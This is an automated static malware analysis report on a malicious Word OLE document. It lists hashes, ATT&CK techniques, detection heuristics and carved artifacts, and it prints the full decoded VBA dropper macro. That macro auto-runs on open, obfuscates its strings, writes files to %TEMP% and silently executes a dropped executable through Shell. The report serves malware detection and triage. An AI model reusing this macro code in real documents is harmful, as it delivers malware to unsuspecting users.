Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 07f287b24914216d…

MALICIOUS

Office (OLE)

192.5 KB Created: 2016-03-22 11:06:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: a905b87d0f4b67b29b3b55e50f3f43aa SHA-1: 66d07f3bc46edc749e345dde72693b1e8e8b68ed SHA-256: 07f287b24914216dfd3a424d6b0c709094933fc20ce59656c9fd5a1cd33fb857
634 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious OLE document containing obfuscated VBA macros. The macros attempt to create and execute a file named 'hfebw.exe' from a local path, likely a second-stage payload. The presence of an embedded PE executable and the critical heuristic 'OLE_EMBEDDED_EXE' strongly indicate this file's purpose is to drop and run malware.

Heuristics 17

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: BC.Win.Packer.Troll-14 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: BC.Win.Packer.Troll-14
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim jrw As Variant
jrw = Shell(jhe, 0)
End Function
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    SVNJAW = "ashjdk ashdjksah"
Set hfhyeygGs = CreateObject(YhhrJne(23 + 64) & "o" + "rd.Applicatio" + "n")
hfhyeygGs.Visible = rqpd
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    SVNJAW = "ashjdk ashdjksah"
Set hfhyeygGs = CreateObject(YhhrJne(23 + 64) & "o" + "rd.Applicatio" + "n")
hfhyeygGs.Visible = rqpd
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    NVJKQW = "alskjdkl ashda"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Function
Sub Workbook_Open()
    Trnnr
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Trnnr
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    KJSWQ = YhhrJne(3 + 90 + dqpd)
BBHDW = Environ$(HFHYW) + KJSWQ
HGYU = "" + "" & "."
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2012 bytes
SHA-256: afafb2c89382e391b393d2e55fa1dfbeeaad635eff7ef3daebb90093608ce6fb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Ojrw()
    Trnnr
End Sub
Sub Trnnr()

Dim rqpd As Boolean, dqpd As Integer



dqpd = 7 - 8
HFHYW = UHbdd()
HFHYW = HFHYW & "P"
rqpd = False
On Error Resume Next
Dim WOIEW As String
KJSWQ = YhhrJne(3 + 90 + dqpd)
BBHDW = Environ$(HFHYW) + KJSWQ
HGYU = "" + "" & "."
BGGGD = HGYU + "e"
BGGGD = BGGGD & "x" & "e"
DEIBE = HGYU & "rt" & YhhrJne(99 + 3)
CFDVE = BBHDW
OPLER = CFDVE

BBBVQWGD = BBHDW + "hfebw" + DEIBE
DDDHUQWD = OPLER & "mirta" + DEIBE
WOIEW = CFDVE + "at2" & BGGGD

Module1.LLokor (BBBVQWGD)
Module1.LLokor (DDDHUQWD)

Module1.Tsokj
RLKDW = BBHDW + "hfebw" & ".r" & "" & "tf"
SVNJAW = "ashjdk ashdjksah"
Set hfhyeygGs = CreateObject(YhhrJne(23 + 64) & "o" + "rd.Applicatio" + "n")
hfhyeygGs.Visible = rqpd
Set objDoc = hfhyeygGs.Documents.Open(RLKDW)
Module1.Geurn (2)
HYUASGD = Module1.Ybeq(WOIEW)
Module1.Geurn (3)
hfhyeygGs.Quit
Set hfhyeygGs = Nothing
End Sub
Public Function YhhrJne(wbrw As Integer)
    YhhrJne = Chr(wbrw)
End Function
Public Function UHbdd()
    UHbdd = "T" & "EM"
End Function
Sub Workbook_Open()
    Trnnr
End Sub
Sub AutoOpen()
    NVJKQW = "alskjdkl ashda"
    Ojrw
End Sub

Sub Auto_Open()
    Trnnr
End Sub
























Attribute VB_Name = "Module1"
Sub Geurn(Jbfe As Long)
jnfe = 5 + 6
Dim Fuen As Long

Dim Iwyr As Long
Iwyr = Jbfe + Timer
Fuen = Iwyr
Do While Timer < Fuen
DoEvents
Loop
End Sub
Public Function Ybeq(jhe As String)
Dim jrw As Variant
jrw = Shell(jhe, 0)
End Function
Sub Tsokj()

Geurn (2)
End Sub
Public Function LLokor(fhue As String)
ActiveDocument.SaveAs FileName:=fhue, FileFormat:=wdFormatRTF
End Function
embedded_office_0000864e.exe embedded-pe Office MZ+PE at offset 0x864E 162740 bytes
SHA-256: 9c605f534c8ef5914a1e73a07b65534ab786f1c459e6912b254137e99a24a5bb
Detection
ClamAV: BC.Win.Packer.Troll-14
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1520170264/Ole10Native 139468 bytes
SHA-256: 1832cfb69f0e17bcba65579377b35ae03971aec9c842921a2077e4be8e3558c9
Detection
ClamAV: BC.Win.Packer.Troll-14
Obfuscation or payload: unlikely

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